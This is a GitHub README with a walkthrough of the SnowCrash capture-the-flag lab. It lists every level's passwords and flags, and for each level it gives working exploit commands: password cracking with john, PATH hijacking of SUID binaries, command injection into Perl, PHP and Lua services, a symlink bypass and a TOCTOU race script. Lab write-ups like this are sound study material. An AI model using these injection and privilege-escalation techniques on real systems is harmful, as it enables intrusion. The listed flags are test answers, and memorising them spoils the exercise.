Skip to content

πŸ—οΈ 42 CTF πŸ΄β€β˜ οΈ SnowCrash 🌨️

Notifications You must be signed in to change notification settings

nuoxoxo/snowcrash

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

  _____                      _____               _     
 / ____|                    / ____|             | |    
| (___  _ __   _____      _| |     _ __ __ _ ___| |__  
 \___ \| '_ \ / _ \ \ /\ / / |    | '__/ _` / __| '_ \ 
 ____) | | | | (_) \ V  V /| |____| | | (_| \__ \ | | |
|_____/|_| |_|\___/ \_/\_/  \_____|_|  \__,_|___/_| |_|

Tokens

level00  x24ti5gi3x0ol2eh4esiuxias
level01  f2av5il02puano7naaf6adaaf
level02  kooda2puivaav1idi4f57q8iq
level03  qi0maab88jeaj46qoumi7maus
level04  ne2searoevaevoem4ov4ar8ap
level05  viuaaale9huek52boumoomioc
level06  wiok45aaoguiboiki2tuin6ub
level07  fiumuikeil55xe9cu4dood66h
level08  25749xKZ8L7DkSCwJkT9dyv6f
level09  s5cAJpM8ev6XHw998pRWG728z
level10  feulo4b72j7edeahuete3no7c
level11  fa6v5ateaw21peobuub8ipe6s
level12  g1qKMiRpXf53AWhDaU7FEkczr

flag00  nottoohardhere 
flag01  abcdefg
flag02  ft_waNDReL0L
flag08  quif5eloekouj29ke0vouxean
flag09  f3iji1ju5yuevaus41q1afiuq
flag10  woupa2yuojeeaaed06riuj63c

Level 00 - 01 - 02 - 03 - 04 - 05 - 06 - 07 - 08 - 09 - 10 - 11 - 12

Subject PDF

SSH

tags: sed..cut or awk

> ssh -p 4242 level00@$(ifconfig|grep 'inet '|sed -n '2p'|cut -d' ' -f2)
                                              ^^^         ^^^
> ssh -p 4242 level00@$(ifconfig|grep 'inet '|awk 'NR==2{print $2}')
                                              ^^^

00

tags: puzzle

Command list

> cat /etc/passwd πŸ‘ˆ flag0x
> find / -user flag00 2>/dev/null -exec cat {} \;
    OR
> find / -user flag00 2>/dev/null -exec cat {} +

Thought process

  • pwd: we are at /home/user/level00 it's empty
  • whoami: level00
  • ls -ld or ls -la
    • -d: current dir flag
level00@SnowCrash:~$ ls -ld
dr-xr-x---+ 1 level00 level00 100 Mar  5  2016 .
  • dr-xr-x---+
    • User (me) and Group have r-x
    • no one can write ie. no vi rm mv touch
  • namei -l $(pwd)
  • getfacl . (ACL: Access Control Lists)
  • Not much to do ... In fact writing to /tmp is possible πŸ‘‡

/tmp

  • Conventionally the /tmp is world-writable
> ls -ld /tmp
d-wx-wx-wx 4 root root 80 Nov 19 19:58 /tmp
  ^^ ^^ 
  • We often do echo "something" > /tmp/go.sh && chmod +x /tmp/go.sh && sh /tmp/go.sh

/etc

  • /etc is another dir we can take advantage of
> ls -ld /etc
drwxr-xr-x 1 root root 260 Nov 19 18:30 /etc
       ^ ^
  • We as other_users, can ls / cat it
> ls -l /etc
> ls -l /etc | grep pass
> cat /etc/passwd
...
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
...
  • πŸ‘† accidentally got flag01
  • flag01 is a username here. Maybe flag00 is also a user

User flag00

  • Use find / to lookup from root directory
  • flag00 is indeed a user
> find / -user level00 2>/dev/null
( ... )
> find / -user flag00 2>/dev/null
/usr/sbin/john
/rofs/usr/sbin/john
> ls -l /usr/sbin/john
----r--r-- 1 flag00 flag00 15 /usr/sbin/john
       ^
> ls -l /rofs/usr/sbin/john
----r--r-- 1 flag00 flag00 15 /rofs/usr/sbin/john
       ^
  • flag00 owns 2 readable files
  • cat them
> find / -user flag00 2>/dev/null -exec cat {} \;
OR
> find / -user flag00 2>/dev/null -exec cat {} +
cdiiddwpgswtgt
cdiiddwpgswtgt
  • πŸ‘† we have a cipher
  • \; : ends -exec and cat one file a time
  • + : now find runs cat on several files at once
  • 2>/dev/null : no error msg explosion (sending stderr output to /dev/null)

Decipher

a = ord('a')
for i in range(26): print(''.join(chr(a+(ord(c)+i)%26) for c in s))
> su flag00 nott*
> getflag | awk '{print $NF}'

01

tags: encryption /etc/passwd john

Login

> ssh level01@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 

Look at /etc/passwd

> grep -i flag01 /etc/passwd
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
> grep flag01 /etc/passwd | awk -F: '{print $2}'
42hDRfypTqqnw

What is /etc/passwd

  • it is a list of user accounts and their info
username:PWD:UID:GID:comment:home_dir:shell
         ^^^ ancient storage for encrypted passwd
             now passwd hashes are stored in /etc/shadow

Solution

  • Download and use john
wget https://download.openwall.net/pub/projects/john/contrib/macosx/john-1.8.0.9-jumbo-macosx_sse4.zip
tar -xvf john-1.8.0.9-jumbo-macosx_sse4.zip
cd john-1.8.0.9-jumbo-macosx_sse4/run
#echo "42hDRfypTqqnw" > infile
scp -P 4242 level01@$(ifconfig|grep 'inet '|sed -n '2p'|cut -d' ' -f2):/etc/passwd $(pwd)/infile
cat infile|grep flag01|awk -F: '{print $2}' > infile
./john infile
./john --show infile
cd ../..
rm -rf john*

i have a script here

> ./do_john.sh
> su flag01 abc*
> getflag | awk '{print $NF}'

Why use john

  • ./john --show provides this line in the output
[DES 128/128 SSE2-16]
  • Data Encryption Standard (DES)
  • DES is not truly encryption in the sense of encryption algorithms
  • it is an old one-way transformation used to store passwds
  • it is insecure due to small key size
  • using john to bruteforce-crack it is the most effecive way

02

tags: packet capture scp xxd

Login

> ssh level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 

Command list

scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2{print $2}'):/home/user/level02/level02.pcap $(pwd)
hexdump -C level02.pcap | grep -i pass
xxd level02.pcap        | grep -i pass

Found a .pcap file

### VM
> ls -l
----r--r-- 1 flag02 level02 level02.pcap
^ which means a regular file

> scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level02/level02.pcap $(pwd)
  • ~.pcap - Packet Capture

    • is used to store network packet data captured during network traffic monitoring
  • Save the .pcap to Host

    • scp - secure copy - scp username@ip:path _local_
  • βœ… Use Wireshark

    • we do Analyze - Follow - TCP Stream
    • copy TCP Stream to text
    000000D6  00 0d 0a 50 61 73 73 77  6f 72 64 3a 20            ...Passw ord: 
000000B9  66                                                 f
000000BA  74                                                 t
000000BB  5f                                                 _
000000BC  77                                                 w
000000BD  61                                                 a
000000BE  6e                                                 n
000000BF  64                                                 d
000000C0  72                                                 r
000000C1  7f                                                 .
000000C2  7f                                                 .
000000C3  7f                                                 .
000000C4  4e                                                 N
000000C5  44                                                 D
000000C6  52                                                 R
000000C7  65                                                 e
000000C8  6c                                                 l
000000C9  7f                                                 .
000000CA  4c                                                 L
000000CB  30                                                 0
000000CC  4c                                                 L
000000CD  0d                                                 .
  • 7f - DE
  • 0d - CR
  • do the p3

03

tags: ltrace first time involved

Login

> ssh level03@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 

Inspect

  • ❌ file readelf strings
  • also try id, namei
> ls -l
-rwsr-sr-x 1 flag03 level03 8627 level03
 ^^^
    ^^^ SUID and SGID are set for exec, ie. whichever user/group run the
        bin, it exec w/ temporary privileges of the owner of the file

πŸ‘‰ when ./level03 is run
  the entire process runs with owner flag03's priviledges, 
  ie. we gain temporary permissions as flag03

βœ… Use ltrace

  • tracing library function calls when the binary is executed
> ltrace ./level03

### output
getegid()                                           = 2003
geteuid()                                           = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
system("/usr/bin/env echo Exploit me" ...

### observations
πŸ‘‰ sets the real u/g id, the effective u|g id and
the saved set-user|group-ID of the calling process
  • Solution
> whereis getflag
getflag: /bin/getflag
> echo -e "/bin/getflag" > /tmp/echo
> chmod +x /tmp/echo
> export PATH=/tmp:$PATH  πŸ‘ˆ prepend tmp to get it checked first
> ./level03

04

tags: query string Perl

Login

> ssh level04@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 

We have a PERL script,
and it seems to interact with a webpage:

#!/usr/bin/perl
# localhost:4747

use CGI qw{param};
  # CGI (Common Gateway Interface)
  # param: a CGI module func fetches params from HTTP requests
  # qw: quote words

print "Content-type: text/html\n\n";

sub x {
  $y = $_[0];
  print `echo $y 2>&1`;
  # sub -- define subroutine x
  # $_[0] -- subroutine `x()` takes a single arg`
  # print w/ backticks invokes a shell command
  # 2>&1 -- combine stdout and stderr, & means 1 is a fd not a filename
}

x(param("x"));
  # 1st `x` : calling the subroutine
  # 2nd `x` : a query param
  # x comes in form of "...?x=getflag"

Solution

  • try to scan and connect to localhost:4242
  • set the query payload and Perl will echo it
> curl -I localhost:4747
or
> nc -vz localhost 4747
      ^ v: verbose
        z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!

# solve

curl localhost:4747?x="\`$(which getflag)\`"
curl localhost:4747?x="\`$(whereis getflag | awk '{print $2}')\`"
curl --get --data-urlencode 'x=;getflag' localhost:4747

05

tags: cron Know Your Bash

Login

> ssh level05@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 

Observation

  • a hint says "mail" and "cronjob"
  • also doing find / -name level05 2>/dev/null tells us 'mail' is the key

Inspect /var/mail

> ls /var/mail
level05

> ls -l /var/mail/
-rw-r--r--+ 1 root mail 58 Nov 17 20:25 level05
^ ie. file

> cat /var/mail/level05 
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05

πŸ‘† There's a cronjob

  • it runs every 2nd minute
  • it runs a script as flag05

Inspect /usr/sbin/openarenaserver

> ls -l /usr/sbin/openarenaserver
-rwxr-x---+ 1 flag05 flag05 /usr/sbin/openarenaserver
              ^^^^^^ ^^^^^^ resource excl. to user flag05

> cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

What this script does:

  • it runs each file of /opt/openarenaserver/*
  • for each file, limit its exec runtime to 5 seconds
  • for each file, we print out what it is, if it is a script
  • rmv each file after use

Exploit

  • put a script inside /opt/openarenaserver/
$ \
echo '${which getflag} > /tmp/temp' > /opt/openarenaserver/go.sh && \
chmod +x /opt/openarenaserver/go.sh && \
tail -f /tmp/temp

# remember
# `/usr/sbin/openarenaserver` runs `bash -x` in a subshell
# it'll stdout nothing whether we `tee` `tee /dev/tty` or `sync` 
  • use tee : read stdin and write to stdout and files
  • let it be run in 2min

06

tags: regex PHP

Login

> ssh level06@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 
> ls -l
-rwxr-x---  1 flag06 level06  356 level06.php
-rwsr-x---+ 1 flag06 level06 7503 level06
   ^

PHP

#!/usr/bin/php
<?php
function y($m) {
  $m = preg_replace("/\./", " x ", $m);
  $m = preg_replace("/@/", " y", $m);
  return $m;
}
function x($y, $z) {
  $a = file_get_contents($y); πŸ‘ˆ 1/ $y ie. $argv[1] should be a file
  $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); πŸ‘ˆ 2/ (.*) get called and the output goes to f()
  $a = preg_replace("/\[/", "(", $a); 
  $a = preg_replace("/\]/", ")", $a); πŸ‘ˆ both lines trivial
  return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>

$a should have this form "/(\[x (.*)\])/e"

    Either one of
echo '[x  ${`getflag`}]' > /tmp/temp
echo '[x  ${(exec(getflag))}]' > /tmp/temp
echo '[x {${system(getflag)}}]' > /tmp/tmp
    THEN
./level06 /tmp/temp
  • attention:
    • '[x ${(exec(getflag))}]' and not
    • "[x ${(exec(getflag))}]" bc. "" allows expansion

07

tags: readelf

Login

> ssh level07@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 
> ls -l
-rwsr-sr-x 1 flag07 level07 8805 level07
   ^ i can exec this bin as use 'flag07' ie. my privileges elevated as if i were flag07

Command list

> file level07
> strings level07
> xxd level07 | grep level
> xxd level07 | grep -A3 -B3 level
> readelf -s ./level07 | grep -E 'getenv|system|exec|echo|puts|write|printf'
                        regex ^^
> objdump -d level07 | grep -E "getenv|system|exec|echo|puts|write|printf"
> ltrace ./level07  🟒
> readelf -p .rodata ./level07  🟒 this one does the job

Using readelf -p .rodata and ltrace

  • -p : printable-string-dump displays contents of a section
  • .rodata : read-only data section = what we want to see

String dump of section '.rodata':
  [     8]  LOGNAME
            ^^^^^^^  🟒
  [    10]  /bin/echo %s 
> ltrace ./level07

__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid()                                                  = 2007
geteuid()                                                  = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)        = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)        = 0
getenv("LOGNAME")                                          = "level07"
        ^^^^^^^  🟒 
asprintf(0xbffff744, 0x8048688, 0xbfffff4b, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                     = 0
+++ exited (status 0) +++

Run it and we found that it prints LOGNAME

> env logname
> ./level07 whoami
level07
> ./level07 env
level07
> export LOGNAME='`id`'
> ./level07 
uid=3007(flag07) gid=2007(level07) groups=3007(flag07),100(users),2007(level07)

Solution

> export LOGNAME='$(getflag)'
> export LOGNAME=";getflag"
> export LOGNAME='`getflag`'
   THEN
> ./level07

08

tags: symlink

Login

> ssh level08@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 
> ls -l
-rwsr-s---+ 1 flag08 level08 8617 level08
-rw-------  1 flag08 flag08    26 token
              ^^^^^^ ^^^^^^ both flag08, not level08 🟑

2 files:

> cat token
cat: token: Permission denied

> ./level08
./level08 [file to read]

Tryout

> echo "a" > /tmp/tmp && ./level08 /tmp/tmp
a

> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token")                                = NULL
open("/tmp/tmp", 0, 014435162522)                          = 3
read(3, "a\n", 1024)                                       = 2
write(1, "a\n", 2a
)                                         = 2
+++ exited (status 2) +++
> echo "aB" > /tmp/tmp && ./level08 /tmp/tmp
aB

> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token")                                = NULL
open("/tmp/tmp", 0, 014435162522)                          = 3
read(3, "a\n", 1024)                                       = 2
write(1, "a\n", 2a
)                                         = 2
+++ exited (status 2) +++

Observation:

  • only the filename matters
  • ./level will cat the file, as long as filename contains no substr "token"
  • renaming ./token is not allowed
  • but we can make a symlink of it
    • syntax: ln -s real_path_src real_path_symlink

Solution

> ln -s `realpath token` /tmp/totem
> ./level08 /tmp/totem

09

tags: puzzle

Login

> ssh level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 
> ls -l
-rwsr-sr-x 1 flag09 level09 7640 level09
----r--r-- 1 flag09 level09   26 token
> xxd token
> hexdump -C token

Tryout

> ./level09 token
tpmhr
> ./level09 123
135
> ./level09 246
258
> ./level09 abcd
aceg
> ./level09 xyz
xz|
> ./level09 az
a{
level09@SnowCrash:~$ ./level09 za
zb
level09@SnowCrash:~$ ./level09 zab
zbd πŸ‘ˆ char = curr - i
πŸ‘†
    ^         ^
z = z + 0  β†’  z = z - o
b = a + 1  β†’  a = b - 1
d = b + 2  β†’  b = d - 2
    v         v

Solution

  • Simple algo. Either use python2 in vm, (respect the syntax),
# p2
line = open('/home/user/level09/token').read().strip()
print 'res/', ''.join(chr(ord(_) - i) for i,_ in enumerate(line))
  • or p3 in Host, scp the token to Host first
# p3
line = open(0, 'rb').read().strip()
print('res/', ''.join(chr(_ - i) for i,_ in enumerate(line)))
# scp to Host
> scp -P 4242 level09@$(ifconfig|grep 'inet '|awk 'NR==1{first=$0}END{print $2}'):/home/user/level09/token $(pwd)
    > 25749xKZ8L7DkSCwJkT9dyv6f
> chmod 777 token 
> p3 decode.py < token

10

tags: TocTou symlink access

Login

> ssh level10@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 
Tryout
  • 2 files, seen it before
  • try - cat - ./level10 - ./level10 token localhost
> ls -l
-rwsr-sr-x+ 1 flag10 level10 10817 level10
-rw-------  1 flag10 flag10     26 token

> cat token
cat: token: Permission denied

> ./level10
./level10 file host
	sends file to host if you have access to it

> ./level10 token localhost
You don't have access to ./token

Problem

  • The main issue here is file ./token - we dont have its permission
  • ltrace - find out how ./level10 checks permission
    • it uses access()
> ltrace ./level10 token localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("token", 4)                                         = -1
^^^^^^ 🟑 

printf("You don't have access to %s\n", "token"You don't have access to token
)           = 31
+++ exited (status 31) +++
  • Touch a file of our own, try again
> ./level10 /tmp/tmp localhost
Connecting to localhost:6969 .. Unable to connect to host localhost

> ltrace ./level10 /tmp/tmp localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("/tmp/tmp", 4)                                      = 0
printf("Connecting to %s:6969 .. ", "localhost")           = 32
                         ^^^^ 🟑 
fflush(0xb7fd1a20Connecting to localhost:6969 .. )         = 0
                                         ^^^^ 🟑 
  • The program interacts with localhiost:6969
  • we need a valid Host IP :
    • 127.0.0.1, or the old trick
    • ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2
> ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!

nc, ltrace

  • it opens and reads and sends out /tmp/tmp content
  • it sends the content to Localhost:6969
# t1
> nc -kl 6969
# t2
> touch /tmp/tmp
> ./level10 /tmp/tmp Localhost
> Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
  • we want it to open/read/send the token instead!
> ltrace ./level10 /tmp/tmp $(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'|cut -d ":" -f2)
.
.
.
printf("Connected!\nSending file .. "Connected!
)                     = 27
fflush(0xb7fd1a20Sending file .. )                                         = 0
open("/tmp/tmp", 0, 010)                                   = 4
      ^^^^^^^^ 🟑 here is where our `token` should be read

read(4, "", 4096)                                          = 0
write(3, "", 0)                                            = 0
puts("wrote file!"wrote file!
)                                        = 12
+++ exited (status 12) +++

Goal

  • Figure out a way to force ./level10 to read the true token:
    • exploit access()'s TOCTOU vulnerability
  • How: let's create a racing condition
  • Design a file to do the following:
    • force access() to check a low-priority file
    • then, open() and read() deal w/ the hi-priority one

Solution:

  • we need a file that alternates its own type
    • type 1: a symlink to token
    • type 2: a regular file of our own
  • write a script to do this πŸ‘‡

alternate.sh

rm -rf /tmp/tmp
t=/tmp/tmp
while true; do
  touch $t
  rm -rf $t
  ln -s /home/user/level10/token $t
  rm -rf $t
done

runner.sh

IP=$(ifconfig | grep 'inet ' | awk 'NR==1 {print $2}' | cut -d ":" -f2)
while true; do  
  #/home/user/level10/level10 /tmp/tmp ${IP} >/dev/null
  /home/user/level10/level10 /tmp/tmp $(hostname -I | awk '{print $1}') >/dev/null
done
chmod 777 /tmp/alt.sh /tmp/go.sh
sh /tmp/alt.sh 2>/dev/null & sh /tmp/go.sh  2>/dev/null & nc -kl 6969 | grep -E '[a-z0-9]'
kill $(jobs -p)

11

tags: Know Your Bash Lua wall

Login

> ssh level11@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 

Tryout

  • We have a Lua script
    • A TCP server is created and it listens on localhost port 5151
    • It get an input, concat it to echo w/o sanitization
> ls -l
-rwsr-sr-x 1 flag11 level11 668 level11.lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
                     🟑 a TCP server listening ^^^^
                     for conn on localhost:5151

function hash(pass)
         ^^^^ 🟑 a function converts `pass` to sha-1 hash

  prog = io.popen("echo "..pass.." | sha1sum", "r")
            ^^^^^ 🟑  do `echo <pass> | sha1sum` and read stdout

            πŸ”΅ this is prone to command injection because
            `"echo " .. pass ..` concat unsanitized inputs

  data = prog:read("*all")
  prog:close()
  data = string.sub(data, 1, 40)
  return data
while 1 do
  local client = server:accept()
  client:send("Password: ")
               ^^^^^^^^^ πŸ”΅ we will inject a payload here

  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)
      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end
  end
  client:close()

Run the script

  • we find the server is up and running
  • nc to it, it is the same Lua program asking for password
> ./level11.lua 
lua: ./level11.lua:3: address already in use
stack traceback:
	[C]: in function 'assert'
	./level11.lua:3: in main chunk
	[C]: ?

Solution

  • Goal: design a string for hash() to concat to echo
    • halt echo w/ ;
    • then do what we want gettoken > /tmp/tmp
    • ie. echo ;gettoken > /tmp/tmp | sha1sum
    • the piping to sha1sum is discarded
> nc localhost 5151
    OR
> telnet localhost 5151
---
Password: ;getflag > /tmp/tmp
    OR
Password: ;getflag | wall

12

tags: Perl backtick injection egrep

Login

> ssh level12@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fa6v5ateaw21peobuub8ipe6s
> ls -l level12.pl 
-rwsr-sr-x+ 1 flag12 level12 464 level12.pl
See more
> cat level12.pl 
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";

sub t {
  $nn = $_[1];
  $xx = $_[0];         πŸ‘ˆ 
  $xx =~ tr/a-z/A-Z/;  πŸ‘ˆ 
  $xx =~ s/\s.*//;

  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  πŸ‘† backticks in Perl will run the Bash cmd 
  πŸ‘†  if xx is also in backticks it also gets expanded/exec
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
      πŸ‘† nn is empty bc. arg 1 is empty so ($s =~ "") is always true 
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print("..");
  } else {
      print(".");
  }    
}

n(t(param("x"), param("y"))); πŸ‘ˆ query's key: x, y
  • input (x) is not sanitized before inserted in the cmd
  • "" - PERL interpolates/evals variables inside double quotes
  • egrep - PERL runs this unsanitized cmd as part of egrep
  • since /tmp/go has x|777 getflag will be run
> echo "getflag | wall" > /tmp/GO
> chmod 777 /tmp/GO
> curl 'http://10.0.2.15:4646?x=`/*/GO`'

there you have it in tmp tmp

About

πŸ—οΈ 42 CTF πŸ΄β€β˜ οΈ SnowCrash 🌨️

Topics

Resources

Stars

Watchers

Forks